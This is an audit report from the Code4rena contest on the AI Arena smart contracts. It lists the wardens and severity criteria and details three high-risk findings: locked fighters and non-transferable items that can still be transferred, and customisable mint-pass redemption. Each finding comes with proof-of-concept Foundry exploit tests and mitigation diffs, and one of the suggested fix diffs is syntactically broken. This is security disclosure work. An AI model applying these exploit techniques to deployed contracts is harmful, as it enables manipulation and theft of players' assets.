AI Arena
Findings & Analysis Report
2024-05-14
Table of contents
- Summary
- Scope
- Severity Criteria
-
- [H-01] A locked fighter can be transferred; leads to game server unable to commit transactions, and unstoppable fighters
- [H-02] Non-transferable
GameItems
can be transferred withGameItems::safeBatchTransferFrom(...)
- [H-03] Players have complete freedom to customize the fighter NFT when calling
redeemMintPass
and can redeem fighters of types Dendroid and with rare attributes - [H-04] Since you can reroll with a different fighterType than the NFT you own, you can reroll bypassing maxRerollsAllowed and reroll attributes based on a different fighterType
- [H-05] Malicious user can stake an amount which causes zero curStakeAtRisk on a loss but equal rewardPoints to a fair user on a win
- [H-06]
FighterFarm::reRoll
won’t work for nft id greater than 255 due to input limited to uint8 - [H-07] Fighters cannot be minted after the initial generation due to uninitialized
numElements
mapping - [H-08] Player can mint more fighter NFTs during claim of rewards by leveraging reentrancy on the
claimRewards() function
-
- [M-01] Almost all rarity rank combinations cannot be, and are not uniformly, generated
- [M-02] Minter / Staker / Spender roles can never be revoked
- [M-03] Fighter created by
mintFromMergingPool
can have arbitrary weight and element - [M-04] DoS in
MergingPool::claimRewards
function and potential DoS inRankedBattle::claimNRN
function if called after a significant amount of rounds passed - [M-05] Can mint NFT with the desired attributes by reverting transaction
- [M-06] NFTs can be transferred even if StakeAtRisk remains, so the user’s win cannot be recorded on the chain due to underflow, and can recover past losses that can’t be recovered (steal protocol’s token)
- [M-07] Erroneous probability calculation in physical attributes can lead to significant issues
- [M-08] Burner role cannot be revoked
- [M-09] Constraints of
dailyAllowanceReplenishTime
andallowanceRemaining
duringmint()
can be bypassed by using alias accounts &safeTransferFrom()
-
Low Risk and Non-Critical Issues
- 01 Improve security posture of
_delegatedAddress
inFighterFarm.sol
- 02 Missing functions to change the treasury in various contracts
- 03 Missing checks for game item invariants when calling
createGameItem
- 04 There are no functions for adjusting
GameItemAttributes
- 05
getFighterPoints
view function is unusable - 06 Misleading function names in
FighterFarm.sol
- 07 Extract constant for custom attributes in
FighterFarm.sol
- 08 Rename
dendroidBool
toisDendroid
- 09 Fix misleading function name and natspec in
GameItems.sol
- 10 Send zero bytes as data argument when minting
- 11 Missing notice tag in natspec for variables in
MergingPool.sol
- 12 Incorrect doc string for variable in
MergingPool.sol
- 13 Common setup code in tests can be extracted to a base class
- 14 Misleading function names in
RankedBattle.sol
- 15 Improvements to
updateBattleRecord
function - 16 Simplify assert statements
- 17 Consider replacing decimal multiplier with
ether
keyword - 18 Players lose their current voltage when using a battery
- 01 Improve security posture of
-
- Summary
- G-01
Neuron.claim()
allowance check is not necessary becausetransferFrom()
also checks allowance - G-02
Neuron.claim()
can call code intransferFrom()
implementation directly instead of callingtransferFrom()
- G-03
Neuron.burnFrom()
allowance check is not necessary - G-04
RankedBattle._getStakingFactor()
accesses the same storage variable a second time whenever it’s called (instakeNRN()
,unstakeNRN()
, andupdateBattleRecord()
) - G-05 NRN
success
checks are unnecessary because the OZ implementation will not fail without reverting - G-06
RankedBattle.claimNRN()
is gas inefficient for addresses that don’t have any points in previous rounds - G-07
RankedBattle.updateBattleRecord()
doesn’t need to check voltage sinceVoltageManager.spendVoltage()
will revert if voltage is too low - G-08
RankedBattle._addResultPoints()
can put code inside an existing conditional statement to avoid incrementing storage variables by zero - G-09
RankedBattle._addResultPoints()
executes unnecessary lines of code in case of a tie - G-10 Unnecessary equality comparison in
RankedBattle._updateRecord()
- G-11
FighterFarm.sol
inheritsERC721Enumerable
but the codebase doesn’t use any of the enumerable methods - G-12 Balance check in
FighterFarm.reRoll()
is not necessary sincetransferFrom()
will revert in case of insufficient balance - G-13
FighterFarm._beforeTokenTransfer()
can be deleted to save an extra function call - G-14
FighterFarm._createFighterBase()
performs unnecessary check when minting dendroid - G-15
MergingPool.claimRewards()
should updatenumRoundsClaimed
after the loop ends instead of incrementing it in every loop - G-16
MergingPool.pickWinner()
andMergingPool.claimRewards()
can be refactored so that users don’t have to iterate through the entire array of winners for every round - G-17 DNA rarity calculation in
AiArenaHelper.dnaToIndex()
can be redesigned to save gas - G-18
AiArenaHelper.createPhysicalAttributes()
should check foriconsType
before running icons-relevant code since icons fighters are rare - G-19
AiArenaHelper
constructor sets probabilities twice
- Audit Analysis
-
- Introduction
- Overview of Changes
- Mitigation Review Scope
- Mitigation Review Summary
FighterFarm.reRoll()
method works wrong and allows minting wanted attributes- Element and weight correlation when
numElements
is multiple of 31 - Players can exploit
mintFromMergingPool
dna calculation to mint rare fighter - Issue Related to Unintentional Admin Configuration
- It’s not possible to claim
MergingPool
rewards for the last round, only for rounds previous to it - A player who wants to call
MergingPool.claimRewards()
has to pass parameters with at leastwinnersLength
elements - M-03: Unmitigated
- M-05: Unmitigated
- M-06: Unmitigated
- M-08: Unmitigated
- Disclosures
Overview
About C4
Code4rena (C4) is an open organization consisting of security researchers, auditors, developers, and individuals with domain expertise in smart contracts.
A C4 audit is an event in which community participants, referred to as Wardens, review, audit, or analyze smart contract logic in exchange for a bounty provided by sponsoring projects.
During the audit outlined in this document, C4 conducted an analysis of the AI Arena smart contract system written in Solidity. The audit took place between February 9—February 21 2024.
Following the C4 audit, 3 wardens (d3e4, fnanni, and niser93) reviewed the mitigations for all identified issues; the mitigation review report is appended below the audit report.
Wardens
299 Wardens contributed reports to AI Arena:
- fnanni
- d3e4
- niser93
- haxatron
- BARW (BenRai and albertwh1te)
- juancito
- DanielArmstrong
- 0xDetermination
- merlinboii
- 0x11singh99
- MrPotatoMagic
- klau5
- MidgarAudits (vangrim and EVDoc)
- Timenov
- lil_eth
- btk
- givn
- rspadi
- josephdara
- SovaSlava
- Rolezn
- K42
- Sabit
- vnavascues
- 0xblackskull
- CodeWasp (slylandro_star, kuprum, audithare, and spaghetticode_sentinel)
- sobieski
- andywer
- ZanyBonzy
- 0xSmartContract
- immeas
- 14si2o_Flint
- Draiakoo
- hunter_w3b
- Greed
- sashik_eth
- yongskiws
- 0xepley
- aariiif
- popeye
- 0xweb3boy
- abhishek_thaku_r
- dimulski
- 0xCiphky
- offside0011
- PoeAudits
- ahmedaghadi
- yotov721
- kiqo
- djxploit
- PedroZurdo (CaeraDenoir and shui)
- alexzoid
- peter
- cats
- Tychai0s
- lsaudit
- kartik_giri_47538
- ktg
- DarkTower (0xrex and haxatron)
- 0xAlix2 (a_kalout and ali_shehab)
- stakog
- korok
- Aamir
- pontifex
- Fulum
- iamandreiski
- maxim371
- 0xShitgem
- radev_sw
- alexxander
- zaevlad
- t0x1c
- McToady
- Krace
- evmboi32
- 0xBinChook
- MatricksDeCoder
- ke1caM
- ubl4nk
- forkforkdog
- sl1
- swizz
- solmaxis69 (seeques and melihdhs)
- Aymen0909
- grearlake
- VAD37
- bhilare_
- Kow
- Zac
- 0xLogos
- web3pwn
- jnforja
- rouhsamad
- BoRonGod
- Tricko
- 0brxce
- zxriptor
- Kalogerone
- visualbits
- Velislav4o
- lanrebayode77
- shaflow2
- SpicyMeatball
- ladboy233
- Shubham
- nuthan2x
- jesjupyter
- favelanky
- 0xvj
- SAQ
- JcFichtner
- _eperezok
- PetarTolev
- sandy
- 0xStriker
- kutugu
- Bauchibred
- peanuts
- pynschon
- 0xAsen
- yovchev_yoan
- oualidpro
- rekxor
- pipidu83
- kaveyjoe
- hassanshakeel13
- ansa-zanjbeel
- cheatc0d3
- tala7985
- 0xbrett8571
- wahedtalash77
- fouzantanveer
- foxb868
- Myd
- 0xblack_bird
- cudo
- clara
- scokaf (Scoon and jauvany)
- albahaca
- JayShreeRAM
- 0xRiO
- shaka
- 0xE1
- AlexCzm
- emrekocak
- al88nsk
- mikesans
- SY_S
- SM3_SS
- shamsulhaq123
- donkicha
- dharma09
- unique
- Raihan
- yashgoel72
- lrivo
- 0xAnah
- ziyou-
- judeabara
- Blank_Space (bLnk and 10ambear)
- 0xmystery
- agadzhalov
- KmanOfficial
- cartlex_
- EagleSecurity (mitev and alexander_orjustalex)
- 0xMosh
- DeFiHackLabs (IceBear, SunSec, and ret2basic)
- BigVeezus
- Tekken
- 0xAkira
- 7ashraf
- Bube
- SHA_256
- BenasVol
- boredpukar
- c0pp3rscr3w3r
- 0xgrbr
- Giorgio
- aslanbek
- petro_1912
- n0kto
- VrONTg
- handsomegiraffe
- denzi_
- csanuragjain
- ubermensch
- erosjohn
- Silvermist
- pkqs90
- 0xlemon
- WoolCentaur
- FloatingPragma (Stoicov and nmirchev8)
- soliditywala
- Ryonen
- Abdessamed
- radin100
- blutorque
- 0rpse
- Tendency
- krikolkk
- Topmark
- zhaojohnson
- matejdb
- Honour
- israeladelaja
- ni8mare
- YouCrossTheLineAlfie
- neocrao
- 0xAadi
- forgebyola
- Merulez99
- Varun_05
- devblixt
- 0xWallSecurity
- dutra
- Matue
- Tumelo_Crypto
- KupiaSec
- JCN
- AC000123
- ADM
- stackachu
- 0xKowalski
- 0xAleko
- OMEN
- adamn000
- Archime
- 0xaghas
- novamanbg
- xchen1130
- 0xbranded
- linmiaomiao
- AgileJune
- Davide
- Jorgect
- okolicodes
- 0xabhay
- 0xG0P1
- merlin
- almurhasan
- tallo
- 0xlamide
- dipp
- ReadyPlayer2
- 0x13
- deadrxsezzz
- Nyxaris
- inzinko
- cu5t0mpeo
- Avci (0xdanial and 0xArshia)
- 0xPluto
- jesusrod15
- taner2344
- y4y
- Fitro
- GoSlang
- Cryptor
- pa6kuda
- thank_you
- dvrkzy
- Pelz
- GhK3Ndf
- Limbooo
- hulkvision
- jaydhales
- Josh4324
- DMoore
- adam-idarrha
- 0xlyov
- 0xGreyWolf
- tpiliposian
- 0xkaju
- honey-k12
- bgsmallerbear
- PUSH0 (jojo and thekmj)
- gesha17
- desaperh
- Daniel526
- m4ttm
- 0xprinc
- Breeje
- 0xpoor4ever
The original audit was judged by hickuphh3.
The mitigation review was judged by ronnyx2017.
Final report assembled by PaperParachute and liveactionllama.
Summary
The C4 analysis yielded an aggregated total of 17 unique vulnerabilities. Of these vulnerabilities, 8 received a risk rating in the category of HIGH severity and 9 received a risk rating in the category of MEDIUM severity.
Additionally, C4 analysis included 60 reports detailing issues with a risk rating of LOW severity or non-critical. There were also 36 reports recommending gas optimizations.
All of the issues presented here are linked back to their original finding.
Scope
The code under review can be found within the C4 AI Arena repository, and is composed of 9 smart contracts written in the Solidity programming language and includes 1271 lines of Solidity code.
In addition to the known issues identified by the project team, a Code4rena bot race was conducted at the start of the audit. The winning bot, TragedyOTCommons from warden IllIllI, generated the Automated Findings report and all findings therein were classified as out of scope.
Severity Criteria
C4 assesses the severity of disclosed vulnerabilities based on three primary risk categories: high, medium, and low/non-critical.
High-level considerations for vulnerabilities span the following key areas when conducting assessments:
- Malicious Input Handling
- Escalation of privileges
- Arithmetic
- Gas use
For more information regarding the severity criteria referenced throughout the submission review process, please refer to the documentation provided on the C4 website, specifically our section on Severity Categorization.
High Risk Findings (8)
[H-01] A locked fighter can be transferred; leads to game server unable to commit transactions, and unstoppable fighters
Submitted by CodeWasp, also found by adam-idarrha, d3e4, vnavascues, c0pp3rscr3w3r, shaka, GhK3Ndf, alexxander, Fulum, thank_you, denzi_, Limbooo, korok, evmboi32, juancito, grearlake, ktg, radev_sw, rouhsamad, KmanOfficial, MidgarAudits, KupiaSec, 0xaghas, Bauchibred, jaydhales, immeas, MrPotatoMagic, soliditywala, sashik_eth, 0xLogos, Tendency, 0x13, PedroZurdo, al88nsk, ladboy233 (1, 2), merlinboii, DanielArmstrong, hulkvision, israeladelaja, Draiakoo, ADM, petro_1912, nuthan2x, 0xCiphky, peanuts, cats, 0xAsen, stackachu, deadrxsezzz, Krace, jnforja, 0xvj, _eperezok, pkqs90, Josh4324, web3pwn, Aamir, btk, pynschon (1, 2), 0xE1, ubl4nk, fnanni, devblixt, cartlex_, erosjohn, BARW, dimulski, zhaojohnson, blutorque, Kalogerone, DMoore, jesjupyter, 0xlemon, klau5, 0xAlix2, alexzoid, novamanbg, sobieski, xchen1130, matejdb, tallo, Pelz, oualidpro, aslanbek, and 0xlyov
FighterFarm
contract implements restrictions on the transferability of fighters in functions transferFrom() and safeTransferFrom(), via the call to function _ableToTransfer(). Unfortunately this approach doesn’t cover all possible ways to transfer a fighter: The FighterFarm
contract inherits from OpenZeppelin’s ERC721
contract, which includes the public function safeTransferFrom(…, data), i.e. the same as safeTransferFrom()
but with the additional data
parameter. This inherited function becomes available in the GameItems
contract, and calling it allows us to circumvent the transferability restriction. As a result, a player will be able to transfer any of their fighters, irrespective of whether they are locked or not. Violation of such a basic system invariant leads to various kinds of impacts, including:
- The game server won’t be able to commit some transactions;
- The transferred fighter becomes unstoppable (a transaction in which it loses can’t be committed);
- The transferred fighter may be used as a “poison pill” to spoil another player, and prevent it from leaving the losing zone (a transaction in which it wins can’t be committed).
Both of the last two impacts include the inability of the game server to commit certain transactions, so we illustrate both of the last two with PoCs, thus illustrating the first one as well.
Impact 1: A fighter becomes unstoppable, game server unable to commit
If a fighter wins a battle, points are added to accumulatedPointsPerAddress mapping. When a fighter loses a battle, the reverse happens: points are subtracted. If a fighter is transferred after it wins the battle to another address, accumulatedPointsPerAddress
for the new address is empty, and thus the points can’t be subtracted: the game server transaction will be reverted. By transferring the fighter to a new address after each battle, the fighter becomes unstoppable, as its accumulated points will only grow, and will never decrease.
Impact 2: Another fighter can’t win, game server unable to commit
If a fighter loses a battle, funds are transferred from the amount at stake, to the stake-at risk, which is reflected in the amountLost mapping of StakeAtRisk
contract. If the fighter with stake-at-risk is transferred to another player, the invariant that amountLost
reflects the lost amount per address is violated: after the transfer the second player has more stake-at-risk than before. A particular way to exploit this violation is demonstrated below: the transferred fighter may win a battle, which leads to reducing amountLost by the corresponding amount. Upon subsequent wins of the second player own fighters, this operation will underflow, leading to the game server unable to commit transactions, and the player unable to exit the losing zone. This effectively makes a fighter with the stake-at-risk a “poison pill”.
Proof of Concept
Impact 1: A fighter becomes unstoppable, game server unable to commit
diff --git a/test/RankedBattle.t.sol b/test/RankedBattle.t.sol
index 6c5a1d7..dfaaad4 100644
--- a/test/RankedBattle.t.sol
+++ b/test/RankedBattle.t.sol
@@ -465,6 +465,31 @@ contract RankedBattleTest is Test {
assertEq(unclaimedNRN, 5000 * 10 ** 18);
}
+ /// @notice An exploit demonstrating that it's possible to transfer a staked fighter, and make it immortal!
+ function testExploitTransferStakedFighterAndPlay() public {
+ address player = vm.addr(3);
+ address otherPlayer = vm.addr(4);
+ _mintFromMergingPool(player);
+ uint8 tokenId = 0;
+ _fundUserWith4kNeuronByTreasury(player);
+ vm.prank(player);
+ _rankedBattleContract.stakeNRN(1 * 10 ** 18, tokenId);
+ // The fighter wins one battle
+ vm.prank(address(_GAME_SERVER_ADDRESS));
+ _rankedBattleContract.updateBattleRecord(tokenId, 0, 0, 1500, true);
+ // The player transfers the fighter to other player
+ vm.prank(address(player));
+ _fighterFarmContract.safeTransferFrom(player, otherPlayer, tokenId, "");
+ assertEq(_fighterFarmContract.ownerOf(tokenId), otherPlayer);
+ // The fighter can't lose
+ vm.prank(address(_GAME_SERVER_ADDRESS));
+ vm.expectRevert();
+ _rankedBattleContract.updateBattleRecord(tokenId, 0, 2, 1500, true);
+ // The fighter can only win: it's unstoppable!
+ vm.prank(address(_GAME_SERVER_ADDRESS));
+ _rankedBattleContract.updateBattleRecord(tokenId, 0, 0, 1500, true);
+ }
+
/*//////////////////////////////////////////////////////////////
HELPERS
//////////////////////////////////////////////////////////////*/
Place the PoC into test/RankedBattle.t.sol
, and execute with
forge test --match-test testExploitTransferStakedFighterAndPlay
Impact 2: Another fighter can’t win, game server unable to commit
diff --git a/test/RankedBattle.t.sol b/test/RankedBattle.t.sol
index 6c5a1d7..196e3a0 100644
--- a/test/RankedBattle.t.sol
+++ b/test/RankedBattle.t.sol
@@ -465,6 +465,62 @@ contract RankedBattleTest is Test {
assertEq(unclaimedNRN, 5000 * 10 ** 18);
}
+/// @notice Prepare two players and two fighters
+function preparePlayersAndFighters() public returns (address, address, uint8, uint8) {
+ address player1 = vm.addr(3);
+ _mintFromMergingPool(player1);
+ uint8 fighter1 = 0;
+ _fundUserWith4kNeuronByTreasury(player1);
+ address player2 = vm.addr(4);
+ _mintFromMergingPool(player2);
+ uint8 fighter2 = 1;
+ _fundUserWith4kNeuronByTreasury(player2);
+ return (player1, player2, fighter1, fighter2);
+}
+
+/// @notice An exploit demonstrating that it's possible to transfer a fighter with funds at stake
+/// @notice After transferring the fighter, it wins the battle,
+/// @notice and the second player can't exit from the stake-at-risk zone anymore.
+function testExploitTransferStakeAtRiskFighterAndSpoilOtherPlayer() public {
+ (address player1, address player2, uint8 fighter1, uint8 fighter2) =
+ preparePlayersAndFighters();
+ vm.prank(player1);
+ _rankedBattleContract.stakeNRN(1_000 * 10 **18, fighter1);
+ vm.prank(player2);
+ _rankedBattleContract.stakeNRN(1_000 * 10 **18, fighter2);
+ // Fighter1 loses a battle
+ vm.prank(address(_GAME_SERVER_ADDRESS));
+ _rankedBattleContract.updateBattleRecord(fighter1, 0, 2, 1500, true);
+ assertEq(_rankedBattleContract.amountStaked(fighter1), 999 * 10 ** 18);
+ // Fighter2 loses a battle
+ vm.prank(address(_GAME_SERVER_ADDRESS));
+ _rankedBattleContract.updateBattleRecord(fighter2, 0, 2, 1500, true);
+ assertEq(_rankedBattleContract.amountStaked(fighter2), 999 * 10 ** 18);
+
+ // On the game server, player1 initiates a battle with fighter1,
+ // then unstakes all remaining stake from fighter1, and transfers it
+ vm.prank(address(player1));
+ _rankedBattleContract.unstakeNRN(999 * 10 ** 18, fighter1);
+ vm.prank(address(player1));
+ _fighterFarmContract.safeTransferFrom(player1, player2, fighter1, "");
+ assertEq(_fighterFarmContract.ownerOf(fighter1), player2);
+ // Fighter1 wins a battle, and part of its stake-at-risk is derisked.
+ vm.prank(address(_GAME_SERVER_ADDRESS));
+ _rankedBattleContract.updateBattleRecord(fighter1, 0, 0, 1500, true);
+ assertEq(_rankedBattleContract.amountStaked(fighter1), 1 * 10 ** 15);
+ // Fighter2 wins a battle, but the records can't be updated, due to underflow!
+ vm.expectRevert();
+ vm.prank(address(_GAME_SERVER_ADDRESS));
+ _rankedBattleContract.updateBattleRecord(fighter2, 0, 0, 1500, true);
+ // Fighter2 can't ever exit from the losing zone in this round, but can lose battles
+ vm.prank(address(_GAME_SERVER_ADDRESS));
+ _rankedBattleContract.updateBattleRecord(fighter2, 0, 2, 1500, true);
+ (uint32 wins, uint32 ties, uint32 losses) = _rankedBattleContract.getBattleRecord(fighter2);
+ assertEq(wins, 0);
+ assertEq(ties, 0);
+ assertEq(losses, 2);
+}
+
/*//////////////////////////////////////////////////////////////
HELPERS
//////////////////////////////////////////////////////////////*/
Place the PoC into test/RankedBattle.t.sol
, and execute with
forge test --match-test testExploitTransferStakeAtRiskFighterAndSpoilOtherPlayer
Recommended Mitigation Steps
Remove the incomplete checks in the inherited functions transferFrom()
and safeTransferFrom()
of FighterFarm
contract, and instead to enforce the transferability restriction via the _beforeTokenTransfer()
hook, which applies equally to all token transfers, as illustrated below.
diff --git a/src/FighterFarm.sol b/src/FighterFarm.sol
index 06ee3e6..9f9ac54 100644
--- a/src/FighterFarm.sol
+++ b/src/FighterFarm.sol
@@ -330,40 +330,6 @@ contract FighterFarm is ERC721, ERC721Enumerable {
);
}
- /// @notice Transfer NFT ownership from one address to another.
- /// @dev Add a custom check for an ability to transfer the fighter.
- /// @param from Address of the current owner.
- /// @param to Address of the new owner.
- /// @param tokenId ID of the fighter being transferred.
- function transferFrom(
- address from,
- address to,
- uint256 tokenId
- )
- public
- override(ERC721, IERC721)
- {
- require(_ableToTransfer(tokenId, to));
- _transfer(from, to, tokenId);
- }
-
- /// @notice Safely transfers an NFT from one address to another.
- /// @dev Add a custom check for an ability to transfer the fighter.
- /// @param from Address of the current owner.
- /// @param to Address of the new owner.
- /// @param tokenId ID of the fighter being transferred.
- function safeTransferFrom(
- address from,
- address to,
- uint256 tokenId
- )
- public
- override(ERC721, IERC721)
- {
- require(_ableToTransfer(tokenId, to));
- _safeTransfer(from, to, tokenId, "");
- }
-
/// @notice Rolls a new fighter with random traits.
/// @param tokenId ID of the fighter being re-rolled.
/// @param fighterType The fighter type.
@@ -448,7 +414,9 @@ contract FighterFarm is ERC721, ERC721Enumerable {
internal
override(ERC721, ERC721Enumerable)
{
- super._beforeTokenTransfer(from, to, tokenId);
+ if(from != address(0) && to != address(0))
+ require(_ableToTransfer(tokenId, to));
+ super._beforeTokenTransfer(from, to , tokenId);
}
/*//////////////////////////////////////////////////////////////
brandinho (AI Arena) confirmed
Fixed safeTransferFrom override with data.
https://github.com/ArenaX-Labs/2024-02-ai-arena-mitigation/pull/2
Status: Mitigation confirmed. Full details in reports from niser93, d3e4, and fnanni.
[H-02] Non-transferable GameItems
can be transferred with GameItems::safeBatchTransferFrom(...)
Submitted by Aamir, also found by m4ttm, vnavascues, visualbits, Fulum, peter, GhK3Ndf, shaka, sandy, alexxander, thank_you, evmboi32, 0xprinc, Limbooo, denzi_, grearlake, Greed, korok, josephdara, juancito, ZanyBonzy, Breeje, hulkvision, KmanOfficial, CodeWasp, DeFiHackLabs, 0xaghas, MidgarAudits, Ryonen, alexzoid, n0kto, immeas, Aymen0909, jaydhales, sashik_eth, soliditywala, 0xLogos, 0x13, Tendency, 0xpoor4ever, PedroZurdo, merlinboii, ni8mare, BARW, israeladelaja, 0xlyov, Draiakoo, petro_1912, ADM, Krace, 0x11singh99, McToady, ktg, 0xCiphky, MrPotatoMagic, 0xWallSecurity, cats, nuthan2x, ladboy233, 0xAsen, stackachu, deadrxsezzz, 0xvj, _eperezok, pkqs90, Josh4324, web3pwn, jnforja, Jorgect, SovaSlava, btk, pynschon, blutorque, lil_eth, 0xE1, fnanni, Bauchibred, devblixt, tpiliposian, erosjohn, Pelz, ubl4nk, cartlex_, krikolkk, Kalogerone, kutugu, zhaojohnson, shaflow2, pa6kuda, djxploit, solmaxis69, 0rpse, 0xlemon, 0xKowalski, SpicyMeatball, novamanbg, DMoore, jesjupyter, csanuragjain, 0xBinChook, matejdb, tallo, aslanbek, 0xAlix2, sobieski, kiqo, dimulski, xchen1130, 0xbranded, oualidpro, Timenov, haxatron, klau5, and al88nsk
The GamesItems
contract fails to appropriately override and include essential checks within the safeBatchTransferFrom
function, enabling the transfer of non-transferrable Game Items.
Impact
While the GamesItems
contract allows for the designation of Game Items as either transferrable or non-transferrable through different states and overrides the ERC1155::safeTransferFrom(...)
function accordingly, it neglects to override the ERC1155::safeBatchTransferFrom(...)
function. This oversight permits users to transfer Game Items that were intended to be non-transferrable.
Proof of Concept
Here is a test for PoC:
NOTE: Include the below given test in
GameItems.t.sol
.
function testNonTransferableItemCanBeTransferredWithBatchTransfer() public {
// funding owner address with 4k $NRN
_fundUserWith4kNeuronByTreasury(_ownerAddress);
// owner minting itme
_gameItemsContract.mint(0, 1);
// checking that the item is minted correctly
assertEq(_gameItemsContract.balanceOf(_ownerAddress, 0), 1);
// making the item non-transferable
_gameItemsContract.adjustTransferability(0, false);
vm.expectRevert();
// trying to transfer the non-transferable item. Should revert
_gameItemsContract.safeTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, 0, 1, "");
// checking that the item is still in the owner's account
assertEq(_gameItemsContract.balanceOf(_DELEGATED_ADDRESS, 0), 0);
assertEq(_gameItemsContract.balanceOf(_ownerAddress, 0), 1);
// transferring the item using safeBatchTransferFrom
uint256[] memory ids = new uint256[](1);
ids[0] = 0;
uint256[] memory amounts = new uint256[](1);
amounts[0] = 1;
_gameItemsContract.safeBatchTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, ids, amounts, "");
// checking that the item is transferred to the delegated address
assertEq(_gameItemsContract.balanceOf(_DELEGATED_ADDRESS, 0), 1);
assertEq(_gameItemsContract.balanceOf(_ownerAddress, 0), 0);
}
Output:
┌──(aamirusmani1552㉿Victus)-[/mnt/d/ai-arena-audit]
└─$ forge test --mt testNonTransferableItemCanBeTransferredWithBatchTransfer
[⠒] Compiling...
[⠃] Compiling 1 files with 0.8.13
[⠒] Solc 0.8.13 finished in 1.77s
Compiler run successful!
Running 1 test for test/GameItems.t.sol:GameItemsTest
[PASS] testNonTransferableItemCanBeTransferredWithBatchTransfer() (gas: 190756)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.32ms
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
Tools Used
Foundry
Recommended Mitigation Steps
It is recommended to override the safeBatchTransferFrom(...)
function and include the necessary checks to prevent the transfer of non-transferrable Game Items.
+ function safeBatchTransferFrom(
+ address from,
+ address to,
+ uint256[] memory ids,
+ uint256[] memory amounts,
+ bytes memory data
+ ) public override(ERC1155) {
+ for(uint256 i; i < ids.length; i++{
+ require(allGameItemAttributes[ids[i]].transferable);
+ }
+ super.safeBatchTransferFrom(from, to, ids, amounts, data);
+ }
Or, consider overriding the _safeBatchTransferFrom(...)
function as follows:
+ function _safeBatchTransferFrom(
+ address from,
+ address to,
+ uint256[] memory ids,
+ uint256[] memory amounts,
+ bytes memory data
+ ) internal override(1155) {
+ require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
+ require(to != address(0), "ERC1155: transfer to the zero address");
+
+ address operator = _msgSender();
+
+ _beforeTokenTransfer(operator, from, to, ids, amounts, data);
+
+ for (uint256 i = 0; i < ids.length; ++i) {
+ require(
+ uint256 id = ids[i];
+ uint256 amount = amounts[i];
+ require(allGameItemAttributes[id].transferable);
+ uint256 fromBalance = _balances[id][from];
+ require(fromBalance >= amount, "ERC1155: insufficient balance for transfer");
+ unchecked {
+ _balances[id][from] = fromBalance - amount;
+ }
+ _balances[id][to] += amount;
+ }
+
+ emit TransferBatch(operator, from, to, ids, amounts);
+
+ _afterTokenTransfer(operator, from, to, ids, amounts, data);
+
+ _doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data);
+ }
brandinho (AI Arena) confirmed
hickuphh3 (judge) increased severity to High
Fixed Non-transferable
GameItems
being transferred withGameItems::safeBatchTransferFrom
.
https://github.com/ArenaX-Labs/2024-02-ai-arena-mitigation/pull/4
Status: Mitigation confirmed. Full details in reports from niser93, d3e4, and fnanni.
[H-03] Players have complete freedom to customize the fighter NFT when calling redeemMintPass
and can redeem fighters of types Dendroid and with rare attributes
Submitted by Abdessamed, also found by juancito (1, 2), vnavascues, d3e4, DarkTower, shaka, alexxander, 0xmystery, evmboi32 (1, 2, 3), soliditywala, givn, korok, dimulski, denzi_, VAD37, sl1, OMEN, stakog, ahmedaghadi, Ryonen, FloatingPragma, n0kto (1, 2), adamn000, 0rpse, bhilare_, 0xAsen, Tendency, ke1caM, Draiakoo (1, 2), Archime, ADM, McToady, MrPotatoMagic, 0xCiphky (1, 2), VrONTg, Velislav4o, btk (1, 2), stackachu, zhaojohnson, 0xvj (1, 2), pkqs90, devblixt, niser93, cats, peter, BARW (1, 2, 3), Aamir, jesjupyter, fnanni, alexzoid, krikolkk, t0x1c, yotov721, klau5, 0xlemon, radin100, 0xAlix2, SpicyMeatball, matejdb, haxatron, JCN, immeas, PetarTolev, and Zac
The function redeemMintPass allows burning multiple mint passes in exchange for fighters’ NFTs. It is mentioned by the sponsor that the player should not have a choice of customizing the fighters’ properties and their type. However, nothing prevents a player from:
- Providing
uint8[] fighterTypes
of values1
to mint fighters of types Dendroid. - Checking previous transactions in which the
dna
provided led to minting fighters with rare physical attributes, copying those Dnas and passing them to the redeemMinPass to mint fighters with low rarity attributes. That is because creating physical attributes is deterministic, so providing the same inputs leads to generating a fighter with the same attributes.
Impact
This issue has two major impacts:
- Players with valid mint passes can mint fighters of type Dendroid easily.
- Players with valid mint passes can mint easily fighters with low rarity attributes which breaks the pseudo-randomness attributes generation aspect
Proof of Concept
For someone having valid mint passes, he calls the function redeemMintPass providing fighterTypes
array of values 1. For each mint pass, the inner function _createNewFighter will be called passing the value 1 as fighterType
argument which corresponds to Dendroid, a new fighter of type dendroid will be minted for the caller.
function test_redeeming_dendroid_fighters_easily() public {
uint8[2] memory numToMint = [1, 0];
bytes memory signature = abi.encodePacked(
hex"20d5c3e5c6b1457ee95bb5ba0cbf35d70789bad27d94902c67ec738d18f665d84e316edf9b23c154054c7824bba508230449ee98970d7c8b25cc07f3918369481c"
);
string[] memory _tokenURIs = new string[](1);
_tokenURIs[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
// first i have to mint an nft from the mintpass contract
assertEq(_mintPassContract.mintingPaused(), false);
_mintPassContract.claimMintPass(numToMint, signature, _tokenURIs);
assertEq(_mintPassContract.balanceOf(_ownerAddress), 1);
assertEq(_mintPassContract.ownerOf(1), _ownerAddress);
// once owning one i can then redeem it for a fighter
uint256[] memory _mintpassIdsToBurn = new uint256[](1);
string[] memory _mintPassDNAs = new string[](1);
uint8[] memory _fighterTypes = new uint8[](1);
uint8[] memory _iconsTypes = new uint8[](1);
string[] memory _neuralNetHashes = new string[](1);
string[] memory _modelTypes = new string[](1);
_mintpassIdsToBurn[0] = 1;
_mintPassDNAs[0] = "dna";
_fighterTypes[0] = 1; // @audit Notice that I can provide value 1 which corresponds to Dendroid type
_neuralNetHashes[0] = "neuralnethash";
_modelTypes[0] = "original";
_iconsTypes[0] = 1;
// approve the fighterfarm contract to burn the mintpass
_mintPassContract.approve(address(_fighterFarmContract), 1);
_fighterFarmContract.redeemMintPass(
_mintpassIdsToBurn, _fighterTypes, _iconsTypes, _mintPassDNAs, _neuralNetHashes, _modelTypes
);
// check balance to see if we successfully redeemed the mintpass for a fighter
assertEq(_fighterFarmContract.balanceOf(_ownerAddress), 1);
}
Ran 1 test for test/FighterFarm.t.sol:FighterFarmTest
[PASS] test_redeeming_dendroid_fighters_easily() (gas: 578678)
